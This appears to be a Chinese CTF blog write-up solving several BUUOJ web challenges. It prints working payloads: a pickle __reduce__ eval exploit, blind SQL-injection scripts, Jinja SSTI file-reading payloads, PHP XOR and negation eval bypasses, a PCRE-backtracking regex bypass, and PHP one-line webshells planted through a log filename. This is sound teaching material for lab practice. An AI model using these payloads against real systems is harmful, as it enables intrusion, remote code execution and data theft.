在家还是要学习

[CISCN2019 华北赛区 Day1 Web2]ikun

进入题目,发现不简单,又在黑我kunkun

0x1 lv6

看到第一个提示需要买到 lv6,但是第一页没发现Iv6,往后翻了几页还是没发现,不如写个脚本跑出来

1
2
3
4
5
6
7
8
import requests
url="http://6e7db183-764d-4afc-bdbb-b70791536e4a.node3.buuoj.cn/shop?page="
for i in range(0,2000):

r=requests.get(url+str(i))
if 'lv6.png' in r.text:
print (i)
break

lv6在181页,买的时候会发现,钱不够,但是可以抓包修改折扣,买完之后会重定向一次,但是此时会出现302,提示只有admin才能访问该页面

image-20210203224123698

0x2 伪造admin

我们知道网页身份确定一般都是基于cookie的,因此只需要伪造出admin登录时使用的cookie即可。

抓包可以看到,此题的cookie是由JWT决定的(JWT介绍

image-20210203224053142

https://jwt.io/

将上面的JWT值放到上面的网站中可以看到

image-20210204213818731

下面要做的就是伪造JWT,将username 的值换成admin

但是我们需要知道构造JWT使用的密码,使用工具(https://github.com/brendan-rius/c-jwt-cracker)

image-20210203224014680

得到密码后就可以伪造出admin使用的cookie

image-20210203224242635

得到cookie后使用浏览器中的cookie编辑插件,将其中的JWT换成构造好的JWT,这样就是以admin身份登录

在个人中心发现另外一个hint

查看源码后,发现了www.zip源码包

image-20210203225614309

image-20210203230506914

0x3 python 反序列化

在admin.py中发现了可反序列化的点

image-20210204214352572

python反序列化以前没有遇到过

1
2
3
4
5
6
7
8
9
pickle提供了一个简单的持久化功能。可以将对象以文件的形式存放在磁盘上。

pickle模块只能在python中使用,python中几乎所有的数据类型(列表,字典,集合,类等)都可以用pickle来序列化,
pickle序列化后的数据,可读性差,人一般无法识别。

p = pickle.loads(urllib.unquote(become))

urllib.unquote:将存入的字典参数编码为URL查询字符串,即转换成以key1 = value1 & key2 = value2的形式
pickle.loads(bytes_object): 从字节对象中读取被封装的对象,并返回

首先构建一个类,类里面的\reduce__python魔术方法会在该类被反序列化的时候会被调用

\reduce__方法里面我们就进行读取flag.txt文件,并将该类序列化之后进行URL编码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
Pickle模块中最常用的函数为:

1)pickle.dump(obj, file, [,protocol])

函数的功能:将obj对象序列化存入已经打开的file中。

参数讲解:

obj:想要序列化的obj对象。
file:文件名称。
protocol:序列化使用的协议。如果该项省略,则默认为0。如果为负值或HIGHEST_PROTOCOL,则使用最高的协议版本。

2)pickle.load(file)

函数的功能:将file中的对象序列化读出。

参数讲解:

file:文件名称。

3)pickle.dumps(obj[, protocol])

函数的功能:将obj对象序列化为string形式,而不是存入文件中。

参数讲解:

obj:想要序列化的obj对象。
protocal:如果该项省略,则默认为0。如果为负值或HIGHEST_PROTOCOL,则使用最高的协议版本。

4)pickle.loads(string)

函数的功能:从string中读出序列化前的obj对象。

参数讲解:

string:文件名称。

【注】 dump() 与 load() 相比 dumps() 和 loads() 还有另一种能力:dump()函数能一个接着一个地将几个对象序列化存储到同一个文件中,随后调用load()来以同样的顺序反序列化读出这些对象。

exp:

1
2
3
4
5
6
7
8
9
10
import pickle
import urllib

class payload(object):
def __reduce__(self):
return (eval, ("open('/flag.txt','r').read()",))

a = pickle.dumps(payload())
a = urllib.quote(a)
print(a)

将得到的内容提交给become参数

连接为

1
http://a12f4ef4-c68f-40c7-afa3-09358de17dbf.node3.buuoj.cn/b1g_m4mber

image-20210204211046648

参考

https://www.cnblogs.com/Cl0ud/p/12177062.html

https://www.cnblogs.com/wangtanzhi/p/12178311.html

[WUSTCTF2020]颜值成绩查询

看到题目是输入框形式,猜测可能是注入,测试可以发现是盲注

image-20210204223105989

image-20210204223118481

并且查询成功时返回Hi admin, your score is: 100

接下来就是编写脚本一步一步拿到flag

使用?stunum=1 and (ascii(substr(database(),1,1))>57,1,0)时,却提示查询失败,说明存在waf

猜测可能是将空格,and,or等关键词过滤

经查询发现有两张表 flagscore

flag表中有两个字段 flagvalue

其中value中存放着flag

完整脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
# 二分注入
# -*- coding = utf - 8 -*-
#@Time : 2021/2/4 22:37
#@Author : sunzy
#@File : 颜值成绩查询.py
import requests
url = "http://1bbc4849-b601-4cf6-9db5-c19d30e5bbad.node3.buuoj.cn/?stunum="

flag = ""
t = ""
sum=0
for i in range(1,50):
left = 32
right = 128
mid = (right + left) >> 1
while(left < right):
# payload = "if((select/**/ascii(substring(group_concat(table_name),{0},1))/**/as/**/a/**/from/**/information_schema.tables/**/where/**/ table_schema=database()/**/having/**/a>{1}),1,0)".format(i,mid)
payload = "if((select/**/ascii(substring(group_concat(column_name),{0},1))/**/as/**/a/**/from/**/information_schema.columns/**/where/**/table_schema=database()/**/and/**/table_name='flag'/**/having/**/a>{1}),1,0)".format(i,mid)
payload = "if((select/**/ascii(substring(group_concat(value),{0},1))/**/as/**/a/**/from/**/flag/**/having/**/a>{1}),1,0)".format(i,mid)

response = requests.get(url+payload)
t = response.text
if "Hi admin, your score is: 100" in response.text:
left = mid+1
else:
right = mid
mid=(right+left)>>1
# print(mid)
flag = flag + chr(mid)
print(flag)
print(flag)

[GWCTF 2019]枯燥的抽奖

查看源码看到check.php

访问后看到了题目源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
#这不是抽奖程序的源代码!不许看!
header("Content-Type: text/html;charset=utf-8");
session_start();
if(!isset($_SESSION['seed'])){
$_SESSION['seed']=rand(0,999999999);
}

mt_srand($_SESSION['seed']);
$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$str='';
$len1=20;
for ( $i = 0; $i < $len1; $i++ ){
$str.=substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1);
}
$str_show = substr($str, 0, 10);
echo "<p id='p1'>".$str_show."</p>";


if(isset($_POST['num'])){
if($_POST['num']===$str){x
echo "<p id=flag>抽奖,就是那么枯燥且无味,给你flag{xxxxxxxxx}</p>";
}
else{
echo "<p id=flag>没抽中哦,再试试吧</p>";
}
}
show_source("check.php");

可以看到seed是伪随机生成的,网上搜了一下存在很多这样的文章(这里

先将伪随机数转换为php_mt_seed可以识别的数据

1
2
3
4
5
6
7
8
9
10
11
str1='abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ'
str2='TxSQvagG71'
str3 = str1[::-1]
length = len(str2)
res=''
for i in range(len(str2)):
for j in range(len(str1)):
if str2[i] == str1[j]:
res+=str(j)+' '+str(j)+' '+'0'+' '+str(len(str1)-1)+' '
break
print(res)

使用工具php_mt_seed

将下载好的文件放入kali中后,在该文件夹下使用make命令,即可生成可执行文件

image-20210205213824123

再使用题目中的源码生成完整的字符串

1
2
3
4
5
6
7
8
9
10
11
12
<?php
mt_srand(93047411);

$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$str='';
$len1=20;
for ( $i = 0; $i < $len1; $i++ ){
$str.=substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1);
}
echo $str;

?>

将得到的字符串提交后得到flag

[CISCN2019 华东南赛区]Web11

进入页面后,内容很多很杂,但是有点很引人注意,右上角的Ip

image-20210205215718959

看到这个就想到了XXF头,抓包修改会发现随着改变

通过测试发现是模板注入

image-20210205220014725

先列出目录之后再cat flag即可

这题没有什么过滤相对简单

image-20210205215601087

[GYCTF2020]FlaskApp

查看提示为 失败乃成功之母!!

但是也不知道是什么意思

但是base64解密的页面解密错误格式的字符串出现报错,从而暴露出部分源码

0x1查看代码

image-20210205220338459

首先获取我们输入的内容,之后进行base64解码,解码后通过waf检测则被执行,所以存在SSTI注入

0x2 读取源码

1
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('app.py','r').read() }}{% endif %}{% endfor %}

将上面的代码进行base64编码后提交解码,便可得到题目的源码,其中waf代码如下

1
2
3
4
5
def waf(str): 
black_list = [&#34;flag&#34;,&#34;os&#34;,&#34;system&#34;,&#34;popen&#34;,&#34;import&#34;,&#34;eval&#34;,&#34;chr&#34;,&#34;request&#34;, &#34;subprocess&#34;,&#34;commands&#34;,&#34;socket&#34;,&#34;hex&#34;,&#34;base64&#34;,&#34;*&#34;,&#34;?&#34;]
for x in black_list :
if x in str.lower() :
return 1

0x3 读取flag

首先列出目录

1
2
3
4
{{''.__class__.__bases__[0].__subclasses__()[75].__init__.__globals__['__builtins__']['__imp'+'ort__']('o'+'s').listdir('/')}}

#IHt7JycuX19jbGFzc19fLl9fYmFzZXNfX1swXS5fX3N1YmNsYXNzZXNfXygpWzc1XS5fX2luaXRfXy5fX2dsb2JhbHNfX1snX19idWlsdGluc19fJ11bJ19faW1wJysnb3J0X18nXSgnbycrJ3MnKS5saXN0ZGlyKCcvJyl9fQ==

image-20210205222852159

读取文件

使用python自带的切片省去了绕过flag的步骤

1
2
3
4
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('txt.galf_eht_si_siht/'[::-1],'r').read() }}{% endif %}{% endfor %}

#eyUgZm9yIGMgaW4gW10uX19jbGFzc19fLl9fYmFzZV9fLl9fc3ViY2xhc3Nlc19fKCkgJX17JSBpZiBjLl9fbmFtZV9fPT0nY2F0Y2hfd2FybmluZ3MnICV9e3sgYy5fX2luaXRfXy5fX2dsb2JhbHNfX1snX19idWlsdGluc19fJ10ub3BlbigndHh0LmdhbGZfZWh0X3NpX3NpaHQvJ1s6Oi0xXSwncicpLnJlYWQoKSB9fXslIGVuZGlmICV9eyUgZW5kZm9yICV9

[MRCTF2020]套娃

0x1 第一关

查看源码,看到注释中的源码

image-20210207201634252

没见过

1
$query = $_SERVER['QUERY_STRING'];

上网查看一下

上面的代码的意思就是上传的参数中不能包括 _, %5f

但是可以使用 %5F,绕过

第二个if语句通过get取得的参数b_u_p_t不等于23333但是正则,匹配需要匹配到23333所以这里用%0a(因为正则匹配中’^’和’$’代表的是行的开头和结尾,所以能利用换行绕过)绕过

image-20210207201422848

0x2 第二关

访问上面的路劲,看到了js代码,放在控制台中运行,提示要POST Mrak

随便post数据即可获取源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php 
error_reporting(0);
include 'takeip.php';
ini_set('open_basedir','.');
include 'flag.php';

if(isset($_POST['Merak'])){
highlight_file(__FILE__);
die();
}

function change($v){
$v = base64_decode($v);
$re = '';
for($i=0;$i<strlen($v);$i++){
$re .= chr ( ord ($v[$i]) + $i*2 );
}
return $re;
}
echo 'Local access only!'."<br/>";
$ip = getIp();
if($ip!='127.0.0.1')
echo "Sorry,you don't have permission! Your ip is :".$ip;
if($ip === '127.0.0.1' && file_get_contents($_GET['2333']) === 'todat is a happy day' ){
echo "Your REQUEST is:".change($_GET['file']);
echo file_get_contents(change($_GET['file'])); }
?>

代码审计

1.ip地址为127.0.0.1

2.file_get_contents获取的内容为 todat is a happy day

可以使用php input伪协议

3.file_get_contents(change($file))

需要逆向change函数

很简单

1
2
3
4
5
6
7
8
<?php
$v = "flag.php";
$re = '';
for($i=0;$i<strlen($v);$i++){
$re .= chr ( ord ($v[$i]) - $i*2 );
}
print base64_encode($re);
?>

payload如图

image-20210207211654779

[极客大挑战 2019]RCE ME

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
error_reporting(0);
if(isset($_GET['code'])){
$code=$_GET['code'];
if(strlen($code)>40){
die("This is too Long.");
}
if(preg_match("/[A-Za-z0-9]+/",$code)){
die("NO.");
}
@eval($code);
}else{
highlight_file(__FILE__);
}
?>

很简单的代码

1.长度不能超过40

2.正则匹配中不能包含字母和数字

使用异或绕过或者取反绕过

1
2
3
4
5
异或
${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=phpinfo

取反
(~%8F%97%8F%96%91%99%90)();

可以看到禁用了很多函数

image-20210207214024481

构造shell用蚁剑连接

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php 
error_reporting(0);

$a='assert';
$b=urlencode(~$a);
echo $b;

echo "<br>";
$c='(eval($_POST["test"]))';
$d=urlencode(~$c);
echo $d;

?>

1
?code=(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%DD%8B%9A%8C%8B%DD%A2%D6%D6);

使用蚁剑连接后发现了flag文件和readflag

image-20210207224214579

但是flag文件不可以直接读取(因为命令执行函数被禁用),需要使用readflag读取其中的内容

可以使用蚁剑自带的插件绕过disable_function,之后运行readflag获取flag文件内容

但是再蚁剑安装插件时,插件一直加载不出来需要挂代理之后才能加载出来

image-20210207224506114

其中端口是你所使用的梯子向外转发的端口

image-20210207224551259

安装 绕过disable_function 这个插件

image-20210207224655103

插件安装好后就是无脑操作了。

image-20210207224717078

image-20210207224748880

image-20210207224206612

[FBCTF2019]RCEService

要求输入json格式的命令

最简单的形式,可以用下面这样的 JSON 表示 “名称 / 值对” :{ “firstName”: “Brett” }

image-20210208220310475

输入

1
{"cmd":"ls"}

会显示出index.php,没有其他的文件了

image-20210208221222172

尝试读取该文件,但是出现了hacking,说明存在waf,cat命令被过滤

尝试了less,more,发现都被过滤

网上找到了源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php

putenv('PATH=/home/rceservice/jail');

if (isset($_REQUEST['cmd'])) {
$json = $_REQUEST['cmd'];

if (!is_string($json)) {
echo 'Hacking attempt detected<br/><br/>';
} elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)) {
echo 'Hacking attempt detected<br/><br/>';
} else {
echo 'Attempting to run command:<br/>';
$cmd = json_decode($json, true)['cmd'];
if ($cmd !== NULL) {
system($cmd);
} else {
echo 'Invalid input';
}
echo '<br/><br/>';
}
}

?>

可以看到正则表达式打开头和结尾存在^,$,说明是单行匹配,可以利用换行符绕过过滤

代码的第一句putenv('PATH=/home/rceservice/jail');,程序改变了环境变量,只能用绝对路径执行命令,而我们使用的命令都存在/bin

多行绕过解题

payload:

1
2
3
{%0A"cmd":"ls /home/rceservice"%0A}

{%0A"cmd": "/bin/cat /home/rceservice/flag"%0A}

image-20210208222252682

利用PCRE回溯来绕过 preg_match

什么是PCRE 点这里

脚本如下

1
2
3
4
5
6
import requests
payload = '{"cmd":"/bin/cat /home/rceservice/flag ","nayi":"' + "a"*(1000000) + '"}' ##超过一百万,这里写一千万不会出结果。

res = requests.post("http://2526ca08-39b8-48c4-8385-e8c5d4b5dfd7.node3.buuoj.cn/", data={"cmd":payload})
#需要使用POST方式,因为get不能提交这么大的数据
print(res.text)

[BSidesCF 2019]Kookie

进入页面提示了设置cookie

构造cookie

1
Cookie: monster=admin

image-20210209143425753

image-20210209143332709

重放后在相应包中看到第二个提示,设置username=

再次构造cookie

1
Cookie: monster=admin;username=admin

image-20210209143648505

[CISCN2019 总决赛 Day2 Web1]Easyweb

一般这种摸不着头脑的题目都会扫描目录,发现了robots.txt

提示存在 .php.bak,文件,结合源码中的image.php,很容易找到image.php.bak

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
include "config.php";

$id=isset($_GET["id"])?$_GET["id"]:"1";
$path=isset($_GET["path"])?$_GET["path"]:"";

$id=addslashes($id);
$path=addslashes($path);

$id=str_replace(array("\\0","%00","\\'","'"),"",$id);
$path=str_replace(array("\\0","%00","\\'","'"),"",$path);

$result=mysqli_query($con,"select * from images where id='{$id}' or path='{$path}'");
$row=mysqli_fetch_array($result,MYSQLI_ASSOC);

$path="./" . $row["path"];
header("Content-Type: image/jpeg");
readfile($path);

0x1 sql注入

很明显是存在sql注入的,但是这里对输入的id参数进行了过滤,过滤了 \0,',\'

但是由于存在转义函数addslashes以及\0 '等也被过滤

构造payload

1
http://d25c0ff4-f5be-4d29-9985-a6474788f806.node3.buuoj.cn/image.php?id=\0'&path= or 1=1%23

sql查询语句为

1
select * from images where id='\' or path=' or 1=1#

从数据库中获取密码

首先测试密码长度

1
http://d25c0ff4-f5be-4d29-9985-a6474788f806.node3.buuoj.cn/image.php?id=\0%27&path=%20or%20length((select group_concat(password) from users))=20%23

当长度为20时,页面显示图片,说明长度为20

编写脚本获取密码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import  requests

url = "http://d25c0ff4-f5be-4d29-9985-a6474788f806.node3.buuoj.cn/image.php?id=\\0&path="
payload = "or id=if(ascii(substr((select password from users),{0},1))>{1},1,0)%23"
result = ""
for i in range(1,100):
l = 1
r = 130
mid = (l + r)>>1
while(l<r):
payloads = payload.format(i,mid)
print(url+payloads)
html = requests.get(url+payloads)
if "JFIF" in html.text:
l = mid +1
else:
r = mid
mid = (l + r)>>1
result+=chr(mid)
print(result)

获取的账号密码

1
2
username: admin 
password: 2bab3f14b41e46436896

登录后可以发现是文件上传的页面

0x2 文件上传

上传php文件发现不行,就随随便上传一个txt文件,可以发现会将文件名写入日志文件,而这个日志文件又是php类型的文件,所以只需要将文件名改为一句话木马即可将日志文件当作我们可以利用的木马文件

image-20210209231942874

直接将文件名改为一句话木马发现存在过滤,使用短标签

1
filename="<?=@eval($_POST['a']);?>"

image-20210209233930429

之后蚁剑连接

1
http://2ff2b0ba-2e9e-4671-ab7c-a547f3b6e80b.node3.buuoj.cn/logs/upload.5874e8eeee7baaa825eed3a08e0976bf.log.php

image-20210209234015975

[GKCTF2020]EZ三剑客-EzWeb

查看源码发现提示 ?secret

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
eth0      Link encap:Ethernet  HWaddr 02:42:0a:c0:22:09  
inet addr:10.192.34.9 Bcast:10.192.34.255 Mask:255.255.255.0
UP BROADCAST RUNNING MULTICAST MTU:1450 Metric:1
RX packets:22 errors:0 dropped:0 overruns:0 frame:0
TX packets:18 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:5792 (5.7 KB) TX bytes:4648 (4.6 KB)

eth1 Link encap:Ethernet HWaddr 52:54:00:92:05:19
inet addr:10.128.0.67 Bcast:10.128.255.255 Mask:255.255.0.0
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:18 errors:0 dropped:0 overruns:0 frame:0
TX packets:21 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:6670 (6.6 KB) TX bytes:2044 (2.0 KB)

lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
UP LOOPBACK RUNNING MTU:65536 Metric:1
RX packets:23 errors:0 dropped:0 overruns:0 frame:0
TX packets:23 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:2371 (2.3 KB) TX bytes:2371 (2.3 KB)

可以知道服务器的地址为10.128.0.67

使用file协议读取源码

1
file:/var/www/html/index.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
function curl($url){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 0);
echo curl_exec($ch);
curl_close($ch);
}

if(isset($_GET['submit'])){
$url = $_GET['url'];
//echo $url."\n";
if(preg_match('/file\:\/\/|dict|\.\.\/|127.0.0.1|localhost/is', $url,$match))
{
//var_dump($match);
die('别这样');
}
curl($url);
}
if(isset($_GET['secret'])){
system('ifconfig');
}
?>

过滤了file://,dict, .. , 127.0.0.1, localhost,但是还有http,gopher协议可以用,用http协议可进行内网主机存活检测,使用bp爆破